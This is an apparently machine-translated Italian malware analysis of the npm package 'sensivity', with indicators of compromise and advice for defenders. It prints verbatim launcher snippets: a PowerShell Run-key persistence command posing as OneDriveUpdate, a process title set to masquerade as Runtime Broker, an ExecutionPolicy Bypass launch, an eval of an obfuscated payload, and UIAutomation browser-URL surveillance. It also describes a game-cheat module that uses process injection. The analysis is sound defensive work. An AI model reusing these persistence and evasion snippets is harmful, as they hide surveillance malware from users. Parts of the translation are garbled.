TL; DR
Il pacchetto npm sensibilità Si descrive come un "Pannello di controllo della sensibilità". Su Windows si comporta come uno strumento di controllo remoto e sorveglianza.
Il suo punto di ingresso, launcher.js, rinomina il proprio processo in Runtime Broker, scrive un valore Run-key di avvio automatico denominato OneDriveUpdate che riavvia il pacchetto tramite uno script VBScript nascosto, avvia PowerShell con -ExecutionPolicy Bypasse quindi valuta un payload del server offuscato di 171 KB insieme a un modulo nativo di 6.87 MB, sens.node.
Funge da pannello di controllo per l'associazione del telefono sulla porta TCP 3000 e legge l'URL della barra degli indirizzi del browser attivo tramite Windows UIAutomation, monitorando la presenza di un video di YouTube predefinito.
Due parti che prima apparivano come scatole nere ora sono state risolte. Il server offuscato, server.obf.js, utilizza uno schema di array di stringhe RC4 di obfuscator.io; la reimplementazione del suo decodificatore offline (senza esecuzione di JavaScript) recupera un singolo endpoint esterno — https://izopi.com/check.php — insieme a una chiave pubblica RSA incorporata utilizzata per verificare le risposte di licenza firmate.
Il modulo nativo, sens.node, non è impacchettato: la sua tabella di importazione e le stringhe incorporate lo identificano come un overlay di gioco DirectX 11 / Dear ImGui che fornisce funzionalità aimbot, ESP (wall-hack) e triggerbot, basate su iniezione di processi remoti e letture/scritture di memoria.
Le stringhe al suo interno fanno riferimento a entità veicolo e posizioni sulla mappa coerenti con GTA V / FiveM. Il pacchetto npm è il wrapper per la distribuzione e la persistenza di quel modulo nativo.
Il segnale determinante è di natura operativa, non tecnica: un singolo editore anonimo ha pubblicato circa settanta versioni di un unico pacchetto. 2.5.0 attraverso 2.5.69 — nell'arco di alcuni giorni, ognuno con lo stesso lanciatore.
Non ci sono installazioni hooksIl payload viene eseguito solo all'avvio del pacchetto.
L'attacco: come funziona
Il pacchetto sensivity include dieci file. Il file package.json è scarno: non contiene il campo repository, né la licenza, ma un file principale e due alias bin (sensivity, sens) che puntano tutti a launcher.js, e uno script di avvio per node launcher.js. Non sono presenti postinstall o preinstall. Non viene eseguito nulla con npm install. Il comportamento descritto di seguito viene eseguito quando un utente avvia il pacchetto, tramite il file bin shim, lo script di avvio o un comando require.
Il file tarball contiene il launcher, un server offuscato, il modulo nativo, uno script Visual Basic e una directory public/web per il pannello di controllo. launcher.js è l'orchestratore leggibile; la logica rilevante in fase di esecuzione risiede nei due blocchi che carica: un server offuscato e un modulo nativo compilato, entrambi descritti più avanti.
Mascheramento del processo e un falso programma di aggiornamento di OneDrive
Nelle prime fasi dell'esecuzione, launcher.js imposta due volte il proprio nome di processo:
javascript process.title = 'Runtime Broker'; Runtime Broker è un processo legittimo di Windows (RuntimeBroker.exe) che gestisce le autorizzazioni delle applicazioni. Rinominare un processo Node in modo che corrisponda a questo significa che una rapida occhiata a Gestione attività non mostrerà nulla di insolito.
La persistenza viene gestita tramite PowerShell anziché tramite un'API di registro diretta:
javascript execSync(`powershell -NoProfile -Command "$k='HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run';$n='OneDriveUpdate';$v='wscript.exe \"${vbs}\"';Set-ItemProperty -Path $k -Name $n -Value $v -Force|Out-Null"`, { stdio: 'ignore', timeout: 5000 }); Il valore di avvio automatico si chiama OneDriveUpdate e non punta direttamente al pacchetto. Punta a wscript.exe che esegue lo script OneDrive.Standalone.Updater.vbs incluso nel pacchetto. Questo script riavvia node launcher.js in una finestra nascosta. Sia il nome del tasto Esegui che il nome del file VBScript riprendono il marchio Microsoft, quindi la voce di avvio automatico viene interpretata come una normale attività di OneDrive.
PowerShell con bypass dei criteri di esecuzione
Il programma di avvio esegue ripetutamente comandi PowerShell. Il punto critico segnalato dagli scanner è l'avvio di un file .ps1 generato con i criteri di esecuzione disabilitati:
javascript exec('start "Windows PowerShell" powershell -NoProfile -ExecutionPolicy Bypass -File "' + psFile + '"', { cwd: APP_DIR }); ExecutionPolicy Bypass rimuove il controllo locale della firma dello script per quella specifica invocazione. Gli script generati gestiscono le attività di monitoraggio del browser e di rilevamento della finestra descritte nella sezione successiva.
Il server offuscato e il modulo nativo
Dopo la configurazione, launcher.js carica ed esegue il suo payload effettivo:
const serverCode = fs.existsSync(path.join(APP_DIR, 'server.obf.js')) ? path.join(APP_DIR, 'server.obf.js') : path.join(APP_DIR, 'server.js'); eval(fs.readFileSync(serverCode, 'utf8')); server.obf.js è un file di 171 KB di offuscamento di array _0x, ovvero il modello JavaScript in cui ogni stringa e identificatore viene sostituito da un indice in un array casuale, quindi dereferenziato in fase di esecuzione. Lo schema è la variante RC4 prodotta da obfuscator.io: una singola funzione decodificatrice decodifica in base64 una voce dell'array e quindi la decifra in RC4 con una chiave per ogni chiamata. Reimplementando quel decodificatore in uno script separato, eseguendo solo la reimplementazione sull'array di stringhe estratto con 821 voci, mai sul JavaScript del pacchetto stesso, lo si srotola in modo pulito. Ciò che emerge è modesto ma decisive: un URL esterno, https://izopi.com/check.php`, assegnato a una costante LICENSE_URL; un RSA PUBLIC_KEY_PEM incorporato`; le route del pannello locale /api/kill, /api/qr.png, /api/trigger, /api/url, /trigger/off e /trigger/status; e le stringhe child_process, crypto e [Sensivity] sens.node caricate — quest'ultima è l'esatta riga di log che il launcher riscrive in modulo programma caricato. L'endpoint è un controllo della licenza: il client invia un identificatore (il server offuscato formatta una stringa Discord ID: %s) e la chiave RSA verifica la risposta firmata del server.
sens.node è un componente aggiuntivo nativo compilato di 6.87 MB e non è compresso: l'entropia della sezione è compresa tra 5.6 e 6.6 e le tabelle di importazione ed esportazione PE sono intatte, quindi le sue funzionalità sono leggibili direttamente. Esporta napi_register_module_v1, il standard Punto di ingresso dell'API N di Node, quindi il server eval'd lo carica con una semplice richiesta. La sua tabella di importazione è rivelatrice. Da KERNEL32 preleva OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread, K32EnumProcessModules e Process32First/NextW, ovvero il set canonico per individuare un altro processo, allocare memoria al suo interno e leggere o scrivere in quella memoria. Da USER32 preleva GetAsyncKeyState, GetKeyState, mouse_event e SetCursorPos; collega d3d11.dll, D3DCOMPILER_43 e dwmapi per una sovrapposizione su schermo e il set completo WINHTTP per le chiamate di rete. Le stringhe incorporate denominano il set di funzionalità senza ambiguità: Abilita Aimbot, Aimbot FOV, Box ESP, Skeleton ESP, Triggerbot, ESP Builder, Vehicle ESP, Electron Anticheat rilevato e il banner Dear ImGui Dear ImGui 1.91.3 WIP. Le stringhe relative a luoghi ed entità come Grapeseed Medical Clinic e il vocabolario vehicle-ESP sono coerenti con GTA V / FiveM.
La suddivisione è intenzionale: il file launcher.js, leggibile, contiene solo le parti facilmente fruibili da uno scanner (persistenza, masquerade, la chiamata a eval stessa), mentre l'offuscamento nasconde l'unico host esterno con cui il runtime interagisce e il binario contiene la logica di overlay del gioco e di iniezione dei processi. Il launcher è il guscio leggero e verificabile; il server offuscato nasconde l'identità di rete; il modulo nativo è il payload. Descriviamo le importazioni e le stringhe del binario come lette; non ne deduciamo lo scopo dell'operatore.
Pannello di controllo per l'accoppiamento dei telefoni sulla porta 3000
Il launcher gestisce un server web locale sulla porta TCP 3000 e lo tratta come un singleton. Verifica la presenza di un listener esistente e lo cancella prima di effettuare il binding:
javascript execSync('powershell -NoProfile -Command "$c=Get-NetTCPConnection -LocalPort 3000 -State Listen -EA 0; if($c){$c | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force -EA 0 }}"', { stdio: 'ignore', timeout: 5000 }); Il pannello è raggiungibile all'indirizzo http://localhost:3000, con un URL di fallback LAN predefinito http://192.168.1.16:3000. La directory public/ e il comportamento del pannello sono coerenti con un flusso di abbinamento tramite codice QR: un telefono scansiona un codice e si connette all'host come telecomando. Nessun dominio di comando e controllo esterno appare in chiaro nel launcher, ma, come mostra la deoffuscazione di cui sopra, uno è presente nel server offuscato: l'endpoint di licenza izopi.com. Il pannello stesso è locale e limitato alla rete LAN; l'unico host in uscita è quello per il controllo della licenza.
Un modello supervisore/lavoratore distaccato mantiene il processo attivo. Il launcher si riavvia con i flag di ambiente SENSIVITY_SUPERVISOR e SENSIVITY_WORKER, con ogni processo figlio in esecuzione nascosto, in modo che l'interruzione di un processo lasci un watchdog pronto a riavviarlo.
Sorveglianza del browser e il segnale di YouTube
Il comportamento più specifico è il monitoraggio del browser. launcher.js crea uno script PowerShell che utilizza Windows UIAutomation per leggere la barra degli indirizzi di un browser in esecuzione:
javascript '$pattern = $edit.GetCurrentPattern([System.Windows.Automation.ValuePattern]::Pattern)', ValuePattern restituisce il contenuto testuale di un elemento dell'interfaccia utente. Applicato al controllo di modifica della barra degli indirizzi di un browser, restituisce l'URL che la vittima sta visualizzando in quel momento, senza estensioni del browser, senza modificare il profilo su disco e senza utilizzare un hook API. Lo script generato scorre un elenco $browserNames ed estrae l'URL o il titolo della finestra del browser in primo piano.
Quell'URL viene testato rispetto a un singolo target predefinito:
javascript const TARGET_YOUTUBE_VIDEO_ID = 'wJWta2lO0Lw'; Il programma di avvio esegue un ciclo di tre secondi per verificare se è aperta una finestra del browser con YouTube attivo, e lo script PowerShell generato contiene la coppia Get-YouTubeBrowser / Test-TargetYouTubeUrl che corrisponde all'ID del video. L'effetto osservabile è duplice: l'URL del browser attivo viene letto dallo schermo della vittima e viene rilevata l'interazione dell'host con uno specifico video di YouTube. Descriviamo il meccanismo e l'obiettivo; non ne deduciamo il movente.
La lettura della barra degli indirizzi è ciò che lo scanner etichetta sensitive_data_enumeration: un Process::env e una sorgente UIAutomation che alimentano un runtime con capacità di rete. Appare innocua se considerata isolatamente e si rivela essere un'attività di sorveglianza solo quando il ciclo di vita dei dati viene tracciato dalla sorgente UIAutomation al server offuscato.
Cronologia e evoluzione delle versioni
La sensibilità non è un caricamento singolo. L'account dell'editore ha circa settanta versioni pubblicate di questo singolo pacchetto e ne sono continuate ad arrivare di nuove durante il periodo di revisione. Il launcher si arricchisce di nuove funzionalità lungo la linea 2.5.x, mentre la sua persistenza e il caricamento del payload rimangono invariati.
| Data (UTC) | Versioni osservate | Stato del lanciatore |
|---|---|---|
| 2026-06-02 | 2.5.8 - 2.5.46 (25) | Avvio tramite pannello QR di base; persistenza della chiave di esecuzione; valutazione del server offuscato. |
| 2026-06-03 | 2.5.53 - 2.5.61 (6) | Stessa impronta digitale; soppressione della traccia della console. |
| 2026-06-04 | 2.5.67, 2.5.68 (2) | Aggiunge un obiettivo di coinvolgimento di YouTube fissato in alto wJWta2lO0Lw. |
| 2026-06-05 | 2.5.0 - 2.5.69 (24) | Ripubblicazione a completamento delle lacune in tutta la gamma; organo di controllo dei supervisori/lavoratori. |
Analizzando il launcher delle versioni scaricate (2.5.0, 2.5.36 e 2.5.69), si notano quattro livelli. Le prime build includono il launcher di base per l'associazione tramite codice QR. Dalla versione 2.5.33 compare il raccoglitore di indirizzi UIAutomation. Dalla 2.5.58 viene aggiunto un livello di gestione del supervisore. Dalla 2.5.64, il watchdog separato per supervisori/operatori completa il set. Quattro elementi rimangono invariati: la chiave di esecuzione di OneDriveUpdate, il dropper OneDrive.Standalone.Updater.vbs, il file server.obf.js (precedentemente valutato) e il modulo nativo sens.node.
L'aggiornamento del 5 giugno 2026 è degno di nota perché ha ripubblicato i numeri di versione più bassi, dalla 2.5.0 alla 2.5.15, che si trovano al di sotto delle versioni confermate nei giorni precedenti. L'effetto è una riga continua di versioni 2.5.x nel registro, in cui ogni versione utilizza lo stesso launcher.
Indicatori di compromesso
Tutti gli indicatori riportati di seguito sono stati letti direttamente dal file tarball del pacchetto. Il launcher leggibile contiene solo un indirizzo di loopback e un singolo indirizzo LAN privato; l'unico hostname esterno, izopi.com, è stato recuperato tramite la deoffuscazione offline del file server.obf.js.
| Tipo | Note | |
|---|---|---|
| CONFEZIONE | npm:sensivity (≈70 versioni, 2.5.0-2.5.69) | Editore di un singolo pacchetto; nessun repository; senza licenza. |
| Compila il | launcher.js | Orchestratore leggibile; destinazione principale e contenitore. |
| Compila il | server.obf.js (≈171 KB) | obfuscator.io RC4 string-array payload, caricato tramite eval(fs.readFileSync(...)). |
| Compila il | sens.node (≈6.87 MB) | PE32+ x86-64 Node N-API addon; SHA-256 66b674884042fca2f056d06854325ea0e8bc902d4e3cdaeafd5fe08c7d0aab40. |
| Compila il | OneDrive.Standalone.Updater.vbs | Rilanciatore nascosto (node launcher.js). |
| Reti | https://izopi.com/check.php | Endpoint di licenza/autenticazione recuperato dal server offuscato; la chiave pubblica RSA incorporata verifica le risposte. |
| Capacità | OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread | Capacità di iniezione di processi remoti e di lettura/scrittura della memoria. |
| Capacità | Enable Aimbot, Box ESP, Triggerbot, Vehicle ESP, Dear ImGui 1.91.3 WIP | Sovrapposizione di gioco DirectX 11 / ImGui che implementa funzionalità di aimbot, ESP e triggerbot. |
| registro | HKCU\Software\Microsoft\Windows\CurrentVersion\Run → OneDriveUpdate | Valore di avvio automatico puntato a wscript.exe e il programma di avvio VBScript. |
| Processo | process.title = 'Runtime Broker' | Si maschera da processo legittimo di Windows Runtime Broker. |
| Behavioral | powershell -NoProfile -ExecutionPolicy Bypass -File <generated>.ps1 | Ignora le policy di esecuzione utilizzate per gli script PowerShell generati. |
| Behavioral | UIAutomation ValuePattern lettura della barra degli indirizzi del browser | Legge l'URL della finestra del browser in primo piano. |
| Behavioral | ID video Target wJWta2lO0Lw; sondaggio di YouTube di 3 secondi | Segnale di monitoraggio dell'impegno bloccato. |
| Reti | http://localhost:3000, ricaderci http://192.168.1.16:3000 | Pannello di controllo per l'abbinamento tramite codice QR, accessibile sia localmente che sulla rete LAN. |
| Ambiente | SENSIVITY_SUPERVISOR, SENSIVITY_WORKER | Flag di coordinamento del processo di controllo distaccato. |
Attribuzione, impatto e difensori
Il pacchetto è pubblicato da un singolo account npm il cui indirizzo email dichiarato è un indirizzo Gmail non verificato. L'account ha un punteggio di reputazione estremamente negativo nel registro, gestisce e pubblica solo questo pacchetto e non ha alcun repository sorgente collegato. Non abbiamo verificato la proprietà dell'indirizzo email e attribuiamo la campagna all'account del publisher, non a un singolo individuo. Il launcher non contiene infrastrutture in chiaro, ma l'unico host esterno è ora noto: il server offuscato contatta izopi.com per una verifica della licenza e il modulo nativo — letto dalla sua tabella di importazione e dalle stringhe anziché tramite reverse engineering istruzione per istruzione — è un overlay di gioco che si inietta e legge la memoria di un altro processo.
L'impatto visibile si manifesta sugli utenti Windows che installano ed eseguono Sensivity aspettandosi un'utilità del Pannello di controllo. Su questi sistemi, il pacchetto imposta la persistenza all'avvio automatico mascherandosi da attività di OneDrive, si rinomina per imitare un processo di sistema, legge l'URL della pagina web che l'utente sta visitando e crea un pannello di associazione che collega il computer a un server remoto tramite la rete locale. Il meccanismo di controllo "supervisore/worker" impedisce la rimozione del programma con la semplice terminazione del processo; la voce nella tastiera Esegui persiste anche dopo il riavvio. macOS e Linux non sono interessati da questo launcher: i percorsi di persistenza, PowerShell e UIAutomation sono disponibili solo per Windows.
Il continuo cambio di versione, con ben settanta versioni diverse, è una tendenza da segnalare. Ripubblicare un pacchetto decine di volte in pochi giorni, includendo anche versioni precedenti a quelle già rimosse, mantiene una copia attiva nel registro tra una rimozione e l'altra e vanifica i blocchi basati sulla versione. Una voce nella lista nera per sensivity@2.5.61 non ha alcun effetto su sensivity@2.5.3 ripubblicata il giorno successivo.
I difensori possono intervenire nei seguenti casi:
- Bloccare completamente la sensibilità del nome del pacchetto nelle liste di autorizzazione di registry-proxy e CI. Bloccare le singole versioni comporta la perdita della cadenza di ripubblicazione; il nome è l'indicatore permanente.
- Cerca un valore Run denominato OneDriveUpdate i cui dati richiamano wscript.exe su un file .vbs in un percorso specifico per utente. L'aggiornamento originale di OneDrive non viene registrato in questo modo.
- Avviso relativo a un processo Node.js il cui titolo è Runtime Broker. Il broker effettivo è RuntimeBroker.exe, non un runtime di Node.
- Segnala i download in fase di installazione di npm dei pacchetti che includono un componente aggiuntivo .node compilato più un eval(fs.readFileSync(…)) di un file .obf.js affine. Questa combinazione — un binario nativo opaco caricato accanto a un payload di testo offuscato — è l'indizio strutturale in questo caso, indipendentemente da qualsiasi IOC di stringa.
- Su endpoint Windows gestiti, considera sospetto qualsiasi listener locale sulla porta 3000 avviato da un processo Node imprevisto.
- Blocca o segnala le richieste in uscita verso izopi.com provenienti da host di sviluppatori o utenti finali; si tratta dell'unico endpoint esterno del pacchetto, raggiungibile all'indirizzo /check.php dal server offuscato.
- Per qualsiasi componente aggiuntivo .node incluso, ispezionate la sua tabella di importazione prima di fidarvi. La combinazione OpenProcess + VirtualAllocEx + WriteProcessMemory + CreateRemoteThread è un'iniezione di processi remoti, indipendentemente da ciò che il pacchetto dichiara di fare; qui si trova accanto a un overlay Direct3D e a stringhe aimbot/ESP/triggerbot.
Per l'analisi statica pipelineLa struttura della convinzione rimane inalterata nel corso del susseguirsi delle versioni: un profilo di installazione non di rete, l'assegnazione di un titolo di processo a un nome di processo di sistema noto, la scrittura di un tasto Esegui tramite PowerShell e la valutazione di un file letto dal disco. Nessuna di queste dipende da un dominio, un indirizzo IP o un numero di versione che la successiva ripubblicazione potrebbe invalidare.
Referenze
[npm: sensibilità] – pagina del registro per la versione del pacchetto qui discussa; soggetta a rimozione.




